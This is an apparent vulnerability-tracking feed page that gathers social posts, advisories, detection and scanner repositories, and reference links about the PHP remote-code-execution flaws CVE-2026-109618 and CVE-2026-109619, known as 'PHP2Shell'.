social bsky.app @hendryadrian.bsky.social 2026-10-22 09:00 UTCCrowdStrike details two PHP flaws, CVE-2026-109618 and CVE-2026-109619, that can enable unauthenticated command execution through crafted HTTP requests. It recommends patching and describes Falcon detection coverage.Open source
-
code github.com violensoul 2026-10-22 08:59 UTCviolensoul/php2shell-sigmaOpen source
-
code github.com ronoski 2026-10-22 08:57 UTCronoski/php2shell-detectOpen source
-
code github.com securin-public 2026-10-22 08:57 UTCsecurin-public/php2shell-checkerOpen source
-
social bsky.app @clemisan.bsky.social 2026-10-22 08:55 UTCGenauer: Sicherheitsupdate für die kritischen Sicherheitslücken CVE-2026-109618 und CVE-2026-109619Open source
-
code gist.github.com riraso 2026-10-22 08:53 UTC#!/bin/bash # Mitigation for CVE-2026-109618 / CVE-2026-109619 (PHP RCE, Oct 21 2026) on panels that ship # their own PHP build (Xtream Codes, StreamCreed, XUI, ...) and cannot simply be upgraded. # # It does NOT patch PHP. It applies the…Open source
-
code github.com h3r2ym 2026-10-22 08:53 UTCh3r2ym/Check-PHP-Docker-CVE-2026-109618---109619Open source
-
code github.com mspiq 2026-10-22 08:52 UTCmspiq/php2shell-scannerOpen source
-
social bsky.app @obivan.infosec.exchange.ap.brid.gy 2026-10-22 08:51 UTCAssetnote published php2shell scanner https://github.com/assetnote/php2shell-scannerOpen source
-
advisory isc.sans.edu 2026-10-22 08:44 UTCSANS ISC: Critical PHP Vulnerability (CVE-2026-109618, CVE-2026-109619) [infocon yellow], (Wed, Oct 21st)Open source
-
code gist.github.com liucoj 2026-10-22 08:43 UTC#!/usr/bin/env bash # # php2shell-triage.sh # Read-only triage for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). # It checks whether your PHP build was in the vulnerable range and looks for # the few signals an exploitation attempt tends…Open source
-
code github.com latadeloco 2026-10-22 08:41 UTClatadeloco/agent-php2shellOpen source
-
code gist.github.com giomke 2026-10-22 08:41 UTC# --------------------------------------------------------------------------- # PHP2Shell - Falco runtime detection # CVE-2026-109618 (OOM corruption -> RCE) # CVE-2026-109619 (stale global state -> UAF / memory disclosure) # https://www.p…Open source
-
social mastodon.social @baimard 2026-10-22 08:41 UTCALERTE CYBERSÉCURITÉ – PHP Deux vulnérabilités critiques (CVE-2026-109618 et CVE-2026-109619) présentent un risque majeur pour les sites utilisant PHP. Administrateurs : vérifiez immédiatement vos versions PHP et appliquez les correctifs d…Open source
-
code github.com rmnelson 2026-10-22 08:41 UTCrmnelson/php-5.3.29-cve-2026-109618-109619Open source
-
code github.com Julien-TrentAI 2026-10-22 08:39 UTCJulien-TrentAI/php2shell-trent-fixtureOpen source
-
social bsky.app @meliorsolutions.com 2026-10-22 08:37 UTCWe’re tracking critical PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619. Our review found our applications aren’t affected, so customers need not act. We’ll continue monitoring new threats and respond through our security processes…Open source
-
social bsky.app @sleepzakuro.site 2026-10-22 08:37 UTCロリポップ復旧のお知らせ うちのサイトも復旧しました x.com/lolipopjp/st...Open source
-
code github.com fardinbarashi 2026-10-22 08:34 UTCfardinbarashi/PHP-CVE-2026-109618-and-CVE-2026-109619Open source
-
social swecyb.com @116080658609901341 2026-10-22 08:32 UTC(aws.amazon.com) Early Exploitation of PHP2Shell Vulnerabilities Detected by Amazon Threat Intelligence Prior to Public Disclosure In brief - This article discusses the early detection of PHP2Shell exploitation by Amazon Threat Intelligenc…Open source
-
social swecyb.com @116080658609901341 2026-10-22 08:30 UTC(aws.amazon.com) Mitigating PHP2Shell RCE Vulnerabilities Using AWS WAF: A Defense-in-Depth Approach In brief - This article provides guidance on using AWS WAF to mitigate two critical remote code execution (RCE) vulnerabilities in the PHP…Open source
-
social bsky.app @shiojiri.com 2026-10-22 08:26 UTCPHPにおける複数の脆弱性(CVE-2026-109618、CVE-2026-109619)に関する注意喚起 https://www.jpcert.or.jp/at/2026/at260033.htmlOpen source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-109619 |
| github.com |
GitHub CVE
vendor-advisory
|
https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp |
| openwall.com |
NVD API
|
http://www.openwall.com/lists/oss-security/2026/10/21/16 |
| openwall.com |
NVD API
|
http://www.openwall.com/lists/oss-security/2026/10/21/17 |
| openwall.com |
NVD API
|
http://www.openwall.com/lists/oss-security/2026/10/21/7 |
| wiz.io |
NVD API
Third Party Advisory
|
https://www.wiz.io/blog/php2shell-php-rce |
| openwall.com |
NVD API
|
http://www.openwall.com/lists/oss-security/2026/10/21/23 |